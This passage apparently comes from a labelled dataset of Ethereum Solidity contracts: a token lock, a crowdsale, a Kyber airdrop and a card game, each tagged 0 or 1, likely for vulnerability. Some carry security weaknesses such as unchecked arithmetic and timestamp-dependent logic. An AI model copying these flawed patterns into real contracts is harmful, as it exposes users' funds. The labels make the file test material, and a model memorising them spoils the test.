Transfer(this, target, mint_value);
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30499200;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x5199bCC8902BC76507986815C6a0b0e17235e549;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.13;
contract Crowdsale {
using SafeMath for uint256;
address constant public TOKEN_OWNER = 0x57Cdd07287f668eC4D58f3E362b4FCC2bC54F5b8;
address constant public WALLET = 0x1513F644590d866e25490687AB1b3Ad262d5b6dF;
uint256 constant public MINSALESCAP = 200 ether;
uint256 constant public MAXSALESCAP = 126000 ether;
uint256 constant public STARTDATE = 1533686401;
uint256 constant public ENDDATE = 1543536060;
uint256 constant public FXRATE = 50000;
uint256 constant public MINCONTRIBUTION = 5000000000000 wei;
address public TOKEN;
address public owner;
uint256 public weiRaised;
enum State { Running, Expired, Funded }
State public state;
struct ContributorStruct {
bool whitelisted;
uint256 contributions;
}
mapping(address => ContributorStruct) public whitelist;
modifier isContributor() {require(whitelist[msg.sender].contributions > 0x00); _;}
modifier isOwner() {require(msg.sender == owner); _;}
modifier inState(State _state) {require(state == _state); _;}
modifier inPaymentLimits(uint256 _payment) {require(_payment >= MINCONTRIBUTION); _;}
modifier inWhitelist(address _contributor) {require(whitelist[_contributor].whitelisted == true); _;}
event WhitelistingLog(address indexed _contributor);
event RefundLog(address indexed _contributor, uint256 _amount);
event PurchaseLog(address indexed _contributor, address indexed _beneficiary, uint256 _amount);
constructor (address _token) public {
require(_token != address(0x00));
owner = msg.sender;
TOKEN = _token;
}
function () public payable {
_updateStateIfExpired();
}
function buyTokens(address _beneficiary)
public
inState(State.Running)
inPaymentLimits(msg.value)
inWhitelist(_beneficiary)
payable
returns (bool success)
{
require(_beneficiary != address(0x00));
assert(block.timestamp >= STARTDATE);
uint256 tokenAmount = _calculateTokenAmount(msg.value);
YOUToken token = YOUToken(TOKEN);
weiRaised = weiRaised.add(msg.value);
whitelist[_beneficiary].contributions = whitelist[_beneficiary].contributions.add(msg.value);
if (!token.mint.gas(700000)(_beneficiary, tokenAmount)) {
return false;
}
if (weiRaised >= MAXSALESCAP
|| weiRaised >= MINSALESCAP && block.timestamp >= ENDDATE) {
state = State.Funded;
} else {
_updateStateIfExpired();
}
emit PurchaseLog(msg.sender, _beneficiary, msg.value);
return true;
}
function refund(address _contributor)
public
isContributor
inState(State.Expired)
returns (bool success)
{
require(_contributor != address(0x00));
uint256 amount = whitelist[_contributor].contributions;
whitelist[_contributor].contributions = 0x00;
_contributor.transfer(amount);
emit RefundLog(_contributor, amount);
return true;
}
function whitelistAddr(address _contributor)
public
isOwner
returns(bool)
{
require(_contributor != address(0x00));
whitelist[_contributor].whitelisted = true;
emit WhitelistingLog(_contributor);
return true;
}
function whitelistAddrAndBuyTokens(address _contributor, uint256 _weiAmount)
public
isOwner
returns(bool)
{
require(_contributor != address(0x00));
uint256 tokenAmount = _calculateTokenAmount(_weiAmount);
YOUToken token = YOUToken(TOKEN);
whitelist[_contributor].whitelisted = true;
weiRaised = weiRaised.add(_weiAmount);
if (!token.mint.gas(700000)(_contributor, tokenAmount)) {
return false;
}
emit WhitelistingLog(_contributor);
return true;
}
function withdraw() public isOwner inState(State.Funded) {
WALLET.transfer(address(this).balance);
}
function delistAddress(address _contributor)
public
isOwner
inState(State.Running)
returns (bool)
{
require(_contributor != address(0x00));
require(whitelist[_contributor].whitelisted);
whitelist[_contributor].whitelisted = false;
return true;
}
function emergencyStop()
public
isOwner
inState(State.Running)
{
state = State.Expired;
}
function transferOwnership()
public
isOwner
inState(State.Running)
{
owner = TOKEN_OWNER;
}
function _updateStateIfExpired() internal {
if ((block.timestamp >= ENDDATE && state == State.Running)
|| (block.timestamp >= ENDDATE && weiRaised < MINSALESCAP)) {
state = State.Expired;
}
}
function _calculateTokenAmount(uint256 _weiAmount)
internal
view
returns (uint256 tokenAmount)
{
uint256 discount;
if (block.timestamp <= 1535241660) {
if (_weiAmount >= 1700 ether) {
discount = 30;
} else if (_weiAmount > 0.2 ether) {
discount = 25;
}
} else if (block.timestamp <= 1537747260) {
discount = 15;
} else if (block.timestamp <= 1540339260) {
discount = 10;
} else if (block.timestamp <= 1543536060) {
discount = 5;
}
_weiAmount = _weiAmount.mul(discount).div(100).add(_weiAmount);
return _weiAmount.mul(FXRATE);
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract YOUToken {
function mint(address _to, uint256 _amount) public returns (bool);
function transferOwnership(address _newOwner) public;
} | 1 |
pragma solidity ^0.4.13;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract KyberAirDrop is Ownable {
uint public numDrops;
uint public dropAmount;
function KyberAirDrop( address dropper ) {
transferOwnership(dropper);
}
event TokenDrop( address receiver, uint amount );
function airDrop( ERC20Interface token,
address tokenRepo,
address[] recipients,
uint amount,
bool kgt,
KyberGenesisToken kgtToken ) onlyOwner {
require( amount == 0 || amount == (2*(10**18)) || amount == (5*(10**18)) );
if( amount > 0 ) {
for( uint i = 0 ; i < recipients.length ; i++ ) {
assert( token.transferFrom( tokenRepo, recipients[i], amount ) );
TokenDrop( recipients[i], amount );
}
}
if( kgt ) {
kgtToken.mint(recipients);
}
numDrops += recipients.length;
dropAmount += recipients.length * amount;
}
function tranferMinterOwnership( KyberGenesisToken kgtToken, address newOwner ) onlyOwner {
kgtToken.transferOwnership(newOwner);
}
function emergencyERC20Drain( ERC20Interface token, uint amount ) {
address kyberMultisig = 0x3EB01B3391EA15CE752d01Cf3D3F09deC596F650;
token.transfer( kyberMultisig, amount );
}
}
contract KyberGenesisToken is Ownable {
string public constant name = "Kyber Genesis Token";
string public constant symbol = "KGT";
uint public constant decimals = 0;
uint public totalSupply = 0;
mapping(address=>uint) public balanceOf;
function KyberGenesisToken( address minter ) {
transferOwnership(minter);
}
event Transfer(address indexed _from, address indexed _to, uint _value);
event EndMinting( uint timestamp );
function mint( address[] recipients ) onlyOwner {
uint newRecipients = 0;
for( uint i = 0 ; i < recipients.length ; i++ ){
address recipient = recipients[i];
if( balanceOf[recipient] == 0 ){
Transfer( address(0x0), recipient, 1 );
balanceOf[recipient] = 1;
newRecipients++;
}
}
totalSupply += newRecipients;
}
function endMinting() onlyOwner {
transferOwnership(address(0xdead));
EndMinting(block.timestamp);
}
function burn() {
require(balanceOf[msg.sender] == 1 );
Transfer( msg.sender, address(0x0), 1 );
balanceOf[msg.sender] = 0;
totalSupply--;
}
function emergencyERC20Drain( ERC20Interface token, uint amount ){
address kyberMultisig = 0x3EB01B3391EA15CE752d01Cf3D3F09deC596F650;
token.transfer( kyberMultisig, amount );
}
function transfer(address _to, uint _value) returns (bool){ revert(); }
function transferFrom(address _from, address _to, uint _value) returns (bool){ revert(); }
function approve(address _spender, uint _value) returns (bool){ revert(); }
function allowance(address _owner, address _spender) constant returns (uint){ return 0; }
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ERC20Interface {
function transferFrom(address _from, address _to, uint _value) returns (bool){}
function transfer(address _to, uint _value) returns (bool){}
function ERC20Interface(){}
} | 1 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract AccessAdmin is Ownable {
mapping (address => bool) adminContracts;
mapping (address => bool) actionContracts;
function setAdminContract(address _addr, bool _useful) public onlyOwner {
require(_addr != address(0));
adminContracts[_addr] = _useful;
}
modifier onlyAdmin {
require(adminContracts[msg.sender]);
_;
}
function setActionContract(address _actionAddr, bool _useful) public onlyAdmin {
actionContracts[_actionAddr] = _useful;
}
modifier onlyAccess() {
require(actionContracts[msg.sender]);
_;
}
}
interface ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract JadeCoin is ERC20, AccessAdmin {
using SafeMath for SafeMath;
string public constant name = "MAGICACADEMY JADE";
string public constant symbol = "Jade";
uint8 public constant decimals = 0;
uint256 public roughSupply;
uint256 public totalJadeProduction;
uint256[] public totalJadeProductionSnapshots;
uint256 public nextSnapshotTime;
uint256 public researchDivPercent = 10;
mapping(address => uint256) public jadeBalance;
mapping(address => mapping(uint8 => uint256)) public coinBalance;
mapping(uint8 => uint256) totalEtherPool;
mapping(address => mapping(uint256 => uint256)) public jadeProductionSnapshots;
mapping(address => mapping(uint256 => bool)) private jadeProductionZeroedSnapshots;
mapping(address => uint256) public lastJadeSaveTime;
mapping(address => uint256) public lastJadeProductionUpdate;
mapping(address => uint256) private lastJadeResearchFundClaim;
mapping(address => uint256) private lastJadeDepositFundClaim;
uint256[] private allocatedJadeResearchSnapshots;
mapping(address => mapping(address => uint256)) private allowed;
event ReferalGain(address player, address referal, uint256 amount);
function JadeCoin() public {
}
function() external payable {
totalEtherPool[1] += msg.value;
}
function tweakDailyDividends(uint256 newResearchPercent) external {
require(msg.sender == owner);
require(newResearchPercent > 0 && newResearchPercent <= 10);
researchDivPercent = newResearchPercent;
}
function totalSupply() public constant returns(uint256) {
return roughSupply;
}
function balanceOf(address player) public constant returns(uint256) {
return SafeMath.add(jadeBalance[player],balanceOfUnclaimed(player));
}
function balanceOfUnclaimed(address player) public constant returns (uint256) {
uint256 lSave = lastJadeSaveTime[player];
if (lSave > 0 && lSave < block.timestamp) {
return SafeMath.mul(getJadeProduction(player),SafeMath.div(SafeMath.sub(block.timestamp,lSave),100));
}
return 0;
}
function getJadeProduction(address player) public constant returns (uint256){
return jadeProductionSnapshots[player][lastJadeProductionUpdate[player]];
}
function getTotalJadeProduction() external view returns (uint256) {
return totalJadeProduction;
}
function getlastJadeProductionUpdate(address player) public view returns (uint256) {
return lastJadeProductionUpdate[player];
}
function increasePlayersJadeProduction(address player, uint256 increase) public onlyAccess {
jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length] = SafeMath.add(getJadeProduction(player),increase);
lastJadeProductionUpdate[player] = allocatedJadeResearchSnapshots.length;
totalJadeProduction = SafeMath.add(totalJadeProduction,increase);
}
function reducePlayersJadeProduction(address player, uint256 decrease) public onlyAccess {
uint256 previousProduction = getJadeProduction(player);
uint256 newProduction = SafeMath.sub(previousProduction, decrease);
if (newProduction == 0) {
jadeProductionZeroedSnapshots[player][allocatedJadeResearchSnapshots.length] = true;
delete jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length];
} else {
jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length] = newProduction;
}
lastJadeProductionUpdate[player] = allocatedJadeResearchSnapshots.length;
totalJadeProduction = SafeMath.sub(totalJadeProduction,decrease);
}
function updatePlayersCoin(address player) internal {
uint256 coinGain = balanceOfUnclaimed(player);
lastJadeSaveTime[player] = block.timestamp;
roughSupply = SafeMath.add(roughSupply,coinGain);
jadeBalance[player] = SafeMath.add(jadeBalance[player],coinGain);
}
function updatePlayersCoinByOut(address player) external onlyAccess {
uint256 coinGain = balanceOfUnclaimed(player);
lastJadeSaveTime[player] = block.timestamp;
roughSupply = SafeMath.add(roughSupply,coinGain);
jadeBalance[player] = SafeMath.add(jadeBalance[player],coinGain);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
updatePlayersCoin(msg.sender);
require(amount <= jadeBalance[msg.sender]);
jadeBalance[msg.sender] = SafeMath.sub(jadeBalance[msg.sender],amount);
jadeBalance[recipient] = SafeMath.add(jadeBalance[recipient],amount);
Transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address player, address recipient, uint256 amount) public returns (bool) {
updatePlayersCoin(player);
require(amount <= allowed[player][msg.sender] && amount <= jadeBalance[player]);
jadeBalance[player] = SafeMath.sub(jadeBalance[player],amount);
jadeBalance[recipient] = SafeMath.add(jadeBalance[recipient],amount);
allowed[player][msg.sender] = SafeMath.sub(allowed[player][msg.sender],amount);
Transfer(player, recipient, amount);
return true;
}
function approve(address approvee, uint256 amount) public returns (bool) {
allowed[msg.sender][approvee] = amount;
Approval(msg.sender, approvee, amount);
return true;
}
function allowance(address player, address approvee) public constant returns(uint256) {
return allowed[player][approvee];
}
function updatePlayersCoinByPurchase(address player, uint256 purchaseCost) public onlyAccess {
uint256 unclaimedJade = balanceOfUnclaimed(player);
if (purchaseCost > unclaimedJade) {
uint256 jadeDecrease = SafeMath.sub(purchaseCost, unclaimedJade);
require(jadeBalance[player] >= jadeDecrease);
roughSupply = SafeMath.sub(roughSupply,jadeDecrease);
jadeBalance[player] = SafeMath.sub(jadeBalance[player],jadeDecrease);
} else {
uint256 jadeGain = SafeMath.sub(unclaimedJade,purchaseCost);
roughSupply = SafeMath.add(roughSupply,jadeGain);
jadeBalance[player] = SafeMath.add(jadeBalance[player],jadeGain);
}
lastJadeSaveTime[player] = block.timestamp;
}
function JadeCoinMining(address _addr, uint256 _amount) external onlyAdmin {
roughSupply = SafeMath.add(roughSupply,_amount);
jadeBalance[_addr] = SafeMath.add(jadeBalance[_addr],_amount);
}
function setRoughSupply(uint256 iroughSupply) external onlyAccess {
roughSupply = SafeMath.add(roughSupply,iroughSupply);
}
function coinBalanceOf(address player,uint8 itype) external constant returns(uint256) {
return coinBalance[player][itype];
}
function setJadeCoin(address player, uint256 coin, bool iflag) external onlyAccess {
if (iflag) {
jadeBalance[player] = SafeMath.add(jadeBalance[player],coin);
} else if (!iflag) {
jadeBalance[player] = SafeMath.sub(jadeBalance[player],coin);
}
}
function setCoinBalance(address player, uint256 eth, uint8 itype, bool iflag) external onlyAccess {
if (iflag) {
coinBalance[player][itype] = SafeMath.add(coinBalance[player][itype],eth);
} else if (!iflag) {
coinBalance[player][itype] = SafeMath.sub(coinBalance[player][itype],eth);
}
}
function setLastJadeSaveTime(address player) external onlyAccess {
lastJadeSaveTime[player] = block.timestamp;
}
function setTotalEtherPool(uint256 inEth, uint8 itype, bool iflag) external onlyAccess {
if (iflag) {
totalEtherPool[itype] = SafeMath.add(totalEtherPool[itype],inEth);
} else if (!iflag) {
totalEtherPool[itype] = SafeMath.sub(totalEtherPool[itype],inEth);
}
}
function getTotalEtherPool(uint8 itype) external view returns (uint256) {
return totalEtherPool[itype];
}
function setJadeCoinZero(address player) external onlyAccess {
jadeBalance[player]=0;
}
function getNextSnapshotTime() external view returns(uint256) {
return nextSnapshotTime;
}
function viewUnclaimedResearchDividends() external constant returns (uint256, uint256, uint256) {
uint256 startSnapshot = lastJadeResearchFundClaim[msg.sender];
uint256 latestSnapshot = allocatedJadeResearchSnapshots.length - 1;
uint256 researchShare;
uint256 previousProduction = jadeProductionSnapshots[msg.sender][lastJadeResearchFundClaim[msg.sender] - 1];
for (uint256 i = startSnapshot; i <= latestSnapshot; i++) {
uint256 productionDuringSnapshot = jadeProductionSnapshots[msg.sender][i];
bool soldAllProduction = jadeProductionZeroedSnapshots[msg.sender][i];
if (productionDuringSnapshot == 0 && !soldAllProduction) {
productionDuringSnapshot = previousProduction;
} else {
previousProduction = productionDuringSnapshot;
}
researchShare += (allocatedJadeResearchSnapshots[i] * productionDuringSnapshot) / totalJadeProductionSnapshots[i];
}
return (researchShare, startSnapshot, latestSnapshot);
}
function claimResearchDividends(address referer, uint256 startSnapshot, uint256 endSnapShot) external {
require(startSnapshot <= endSnapShot);
require(startSnapshot >= lastJadeResearchFundClaim[msg.sender]);
require(endSnapShot < allocatedJadeResearchSnapshots.length);
uint256 researchShare;
uint256 previousProduction = jadeProductionSnapshots[msg.sender][lastJadeResearchFundClaim[msg.sender] - 1];
for (uint256 i = startSnapshot; i <= endSnapShot; i++) {
uint256 productionDuringSnapshot = jadeProductionSnapshots[msg.sender][i];
bool soldAllProduction = jadeProductionZeroedSnapshots[msg.sender][i];
if (productionDuringSnapshot == 0 && !soldAllProduction) {
productionDuringSnapshot = previousProduction;
} else {
previousProduction = productionDuringSnapshot;
}
researchShare += (allocatedJadeResearchSnapshots[i] * productionDuringSnapshot) / totalJadeProductionSnapshots[i];
}
if (jadeProductionSnapshots[msg.sender][endSnapShot] == 0 && !jadeProductionZeroedSnapshots[msg.sender][endSnapShot] && previousProduction > 0) {
jadeProductionSnapshots[msg.sender][endSnapShot] = previousProduction;
}
lastJadeResearchFundClaim[msg.sender] = endSnapShot + 1;
uint256 referalDivs;
if (referer != address(0) && referer != msg.sender) {
referalDivs = researchShare / 100;
coinBalance[referer][1] += referalDivs;
ReferalGain(referer, msg.sender, referalDivs);
}
coinBalance[msg.sender][1] += SafeMath.sub(researchShare,referalDivs);
}
function snapshotDailyGooResearchFunding() external onlyAdmin {
uint256 todaysGooResearchFund = (totalEtherPool[1] * researchDivPercent) / 100;
totalEtherPool[1] -= todaysGooResearchFund;
totalJadeProductionSnapshots.push(totalJadeProduction);
allocatedJadeResearchSnapshots.push(todaysGooResearchFund);
nextSnapshotTime = block.timestamp + 24 hours;
}
}
interface GameConfigInterface {
function productionCardIdRange() external constant returns (uint256, uint256);
function battleCardIdRange() external constant returns (uint256, uint256);
function upgradeIdRange() external constant returns (uint256, uint256);
function unitCoinProduction(uint256 cardId) external constant returns (uint256);
function unitAttack(uint256 cardId) external constant returns (uint256);
function unitDefense(uint256 cardId) external constant returns (uint256);
function unitStealingCapacity(uint256 cardId) external constant returns (uint256);
}
contract CardsBase is JadeCoin {
function CardsBase() public {
setAdminContract(msg.sender,true);
setActionContract(msg.sender,true);
}
struct Player {
address owneraddress;
}
Player[] players;
bool gameStarted;
GameConfigInterface public schema;
mapping(address => mapping(uint256 => uint256)) public unitsOwned;
mapping(address => mapping(uint256 => uint256)) public upgradesOwned;
mapping(address => uint256) public uintsOwnerCount;
mapping(address=> mapping(uint256 => uint256)) public uintProduction;
mapping(address => mapping(uint256 => uint256)) public unitCoinProductionIncreases;
mapping(address => mapping(uint256 => uint256)) public unitCoinProductionMultiplier;
mapping(address => mapping(uint256 => uint256)) public unitAttackIncreases;
mapping(address => mapping(uint256 => uint256)) public unitAttackMultiplier;
mapping(address => mapping(uint256 => uint256)) public unitDefenseIncreases;
mapping(address => mapping(uint256 => uint256)) public unitDefenseMultiplier;
mapping(address => mapping(uint256 => uint256)) public unitJadeStealingIncreases;
mapping(address => mapping(uint256 => uint256)) public unitJadeStealingMultiplier;
mapping(address => mapping(uint256 => uint256)) private unitMaxCap;
function setConfigAddress(address _address) external onlyOwner {
schema = GameConfigInterface(_address);
}
function beginGame(uint256 firstDivsTime) external payable onlyOwner {
require(!gameStarted);
gameStarted = true;
nextSnapshotTime = firstDivsTime;
totalEtherPool[1] = msg.value;
}
function endGame() external payable onlyOwner {
require(gameStarted);
gameStarted = false;
}
function getGameStarted() external constant returns (bool) {
return gameStarted;
}
function AddPlayers(address _address) external onlyAccess {
Player memory _player= Player({
owneraddress: _address
});
players.push(_player);
}
function getRanking() external view returns (address[], uint256[],uint256[]) {
uint256 len = players.length;
uint256[] memory arr = new uint256[](len);
address[] memory arr_addr = new address[](len);
uint256[] memory arr_def = new uint256[](len);
uint counter =0;
for (uint k=0;k<len; k++){
arr[counter] = getJadeProduction(players[k].owneraddress);
arr_addr[counter] = players[k].owneraddress;
(,arr_def[counter],,) = getPlayersBattleStats(players[k].owneraddress);
counter++;
}
for(uint i=0;i<len-1;i++) {
for(uint j=0;j<len-i-1;j++) {
if(arr[j]<arr[j+1]) {
uint256 temp = arr[j];
address temp_addr = arr_addr[j];
uint256 temp_def = arr_def[j];
arr[j] = arr[j+1];
arr[j+1] = temp;
arr_addr[j] = arr_addr[j+1];
arr_addr[j+1] = temp_addr;
arr_def[j] = arr_def[j+1];
arr_def[j+1] = temp_def;
}
}
}
return (arr_addr,arr,arr_def);
}
function getTotalUsers() external view returns (uint256) {
return players.length;
}
function getMaxCap(address _addr,uint256 _cardId) external view returns (uint256) {
return unitMaxCap[_addr][_cardId];
}
function getUnitsProduction(address player, uint256 unitId, uint256 amount) external constant returns (uint256) {
return (amount * (schema.unitCoinProduction(unitId) + unitCoinProductionIncreases[player][unitId]) * (10 + unitCoinProductionMultiplier[player][unitId]));
}
function getUnitsInProduction(address player, uint256 unitId, uint256 amount) external constant returns (uint256) {
return SafeMath.div(SafeMath.mul(amount,uintProduction[player][unitId]),unitsOwned[player][unitId]);
}
function getUnitsAttack(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitAttack(unitId) + unitAttackIncreases[player][unitId]) * (10 + unitAttackMultiplier[player][unitId])) / 10;
}
function getUnitsDefense(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitDefense(unitId) + unitDefenseIncreases[player][unitId]) * (10 + unitDefenseMultiplier[player][unitId])) / 10;
}
function getUnitsStealingCapacity(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitStealingCapacity(unitId) + unitJadeStealingIncreases[player][unitId]) * (10 + unitJadeStealingMultiplier[player][unitId])) / 10;
}
function getPlayersBattleStats(address player) public constant returns (
uint256 attackingPower,
uint256 defendingPower,
uint256 stealingPower,
uint256 battlePower) {
uint256 startId;
uint256 endId;
(startId, endId) = schema.battleCardIdRange();
while (startId <= endId) {
attackingPower = SafeMath.add(attackingPower,getUnitsAttack(player, startId, unitsOwned[player][startId]));
stealingPower = SafeMath.add(stealingPower,getUnitsStealingCapacity(player, startId, unitsOwned[player][startId]));
defendingPower = SafeMath.add(defendingPower,getUnitsDefense(player, startId, unitsOwned[player][startId]));
battlePower = SafeMath.add(attackingPower,defendingPower);
startId++;
}
}
function getOwnedCount(address player, uint256 cardId) external view returns (uint256) {
return unitsOwned[player][cardId];
}
function setOwnedCount(address player, uint256 cardId, uint256 amount, bool iflag) external onlyAccess {
if (iflag) {
unitsOwned[player][cardId] = SafeMath.add(unitsOwned[player][cardId],amount);
} else if (!iflag) {
unitsOwned[player][cardId] = SafeMath.sub(unitsOwned[player][cardId],amount);
}
}
function getUpgradesOwned(address player, uint256 upgradeId) external view returns (uint256) {
return upgradesOwned[player][upgradeId];
}
function setUpgradesOwned(address player, uint256 upgradeId) external onlyAccess {
upgradesOwned[player][upgradeId] = SafeMath.add(upgradesOwned[player][upgradeId],1);
}
function getUintsOwnerCount(address _address) external view returns (uint256) {
return uintsOwnerCount[_address];
}
function setUintsOwnerCount(address _address, uint256 amount, bool iflag) external onlyAccess {
if (iflag) {
uintsOwnerCount[_address] = SafeMath.add(uintsOwnerCount[_address],amount);
} else if (!iflag) {
uintsOwnerCount[_address] = SafeMath.sub(uintsOwnerCount[_address],amount);
}
}
function getUnitCoinProductionIncreases(address _address, uint256 cardId) external view returns (uint256) {
return unitCoinProductionIncreases[_address][cardId];
}
function setUnitCoinProductionIncreases(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitCoinProductionIncreases[_address][cardId] = SafeMath.add(unitCoinProductionIncreases[_address][cardId],iValue);
} else if (!iflag) {
unitCoinProductionIncreases[_address][cardId] = SafeMath.sub(unitCoinProductionIncreases[_address][cardId],iValue);
}
}
function getUnitCoinProductionMultiplier(address _address, uint256 cardId) external view returns (uint256) {
return unitCoinProductionMultiplier[_address][cardId];
}
function setUnitCoinProductionMultiplier(address _address, uint256 cardId, uint256 iValue, bool iflag) external onlyAccess {
if (iflag) {
unitCoinProductionMultiplier[_address][cardId] = SafeMath.add(unitCoinProductionMultiplier[_address][cardId],iValue);
} else if (!iflag) {
unitCoinProductionMultiplier[_address][cardId] = SafeMath.sub(unitCoinProductionMultiplier[_address][cardId],iValue);
}
}
function setUnitAttackIncreases(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitAttackIncreases[_address][cardId] = SafeMath.add(unitAttackIncreases[_address][cardId],iValue);
} else if (!iflag) {
unitAttackIncreases[_address][cardId] = SafeMath.sub(unitAttackIncreases[_address][cardId],iValue);
}
}
function getUnitAttackIncreases(address _address, uint256 cardId) external view returns (uint256) {
return unitAttackIncreases[_address][cardId];
}
function setUnitAttackMultiplier(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitAttackMultiplier[_address][cardId] = SafeMath.add(unitAttackMultiplier[_address][cardId],iValue);
} else if (!iflag) {
unitAttackMultiplier[_address][cardId] = SafeMath.sub(unitAttackMultiplier[_address][cardId],iValue);
}
}
function getUnitAttackMultiplier(address _address, uint256 cardId) external view returns (uint256) {
return unitAttackMultiplier[_address][cardId];
}
function setUnitDefenseIncreases(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitDefenseIncreases[_address][cardId] = SafeMath.add(unitDefenseIncreases[_address][cardId],iValue);
} else if (!iflag) {
unitDefenseIncreases[_address][cardId] = SafeMath.sub(unitDefenseIncreases[_address][cardId],iValue);
}
}
function getUnitDefenseIncreases(address _address, uint256 cardId) external view returns (uint256) {
return unitDefenseIncreases[_address][cardId];
}
function setunitDefenseMultiplier(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitDefenseMultiplier[_address][cardId] = SafeMath.add(unitDefenseMultiplier[_address][cardId],iValue);
} else if (!iflag) {
unitDefenseMultiplier[_address][cardId] = SafeMath.sub(unitDefenseMultiplier[_address][cardId],iValue);
}
}
function getUnitDefenseMultiplier(address _address, uint256 cardId) external view returns (uint256) {
return unitDefenseMultiplier[_address][cardId];
}
function setUnitJadeStealingIncreases(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitJadeStealingIncreases[_address][cardId] = SafeMath.add(unitJadeStealingIncreases[_address][cardId],iValue);
} else if (!iflag) {
unitJadeStealingIncreases[_address][cardId] = SafeMath.sub(unitJadeStealingIncreases[_address][cardId],iValue);
}
}
function getUnitJadeStealingIncreases(address _address, uint256 cardId) external view returns (uint256) {
return unitJadeStealingIncreases[_address][cardId];
}
function setUnitJadeStealingMultiplier(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitJadeStealingMultiplier[_address][cardId] = SafeMath.add(unitJadeStealingMultiplier[_address][cardId],iValue);
} else if (!iflag) {
unitJadeStealingMultiplier[_address][cardId] = SafeMath.sub(unitJadeStealingMultiplier[_address][cardId],iValue);
}
}
function getUnitJadeStealingMultiplier(address _address, uint256 cardId) external view returns (uint256) {
return unitJadeStealingMultiplier[_address][cardId];
}
function setUintCoinProduction(address _address, uint256 cardId, uint256 iValue, bool iflag) external onlyAccess {
if (iflag) {
uintProduction[_address][cardId] = SafeMath.add(uintProduction[_address][cardId],iValue);
} else if (!iflag) {
uintProduction[_address][cardId] = SafeMath.sub(uintProduction[_address][cardId],iValue);
}
}
function getUintCoinProduction(address _address, uint256 cardId) external view returns (uint256) {
return uintProduction[_address][cardId];
}
function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external onlyAccess {
uint256 productionGain;
if (upgradeClass == 0) {
unitCoinProductionIncreases[player][unitId] += upgradeValue;
productionGain = unitsOwned[player][unitId] * upgradeValue * (10 + unitCoinProductionMultiplier[player][unitId]);
increasePlayersJadeProduction(player, productionGain);
} else if (upgradeClass == 1) {
unitCoinProductionMultiplier[player][unitId] += upgradeValue;
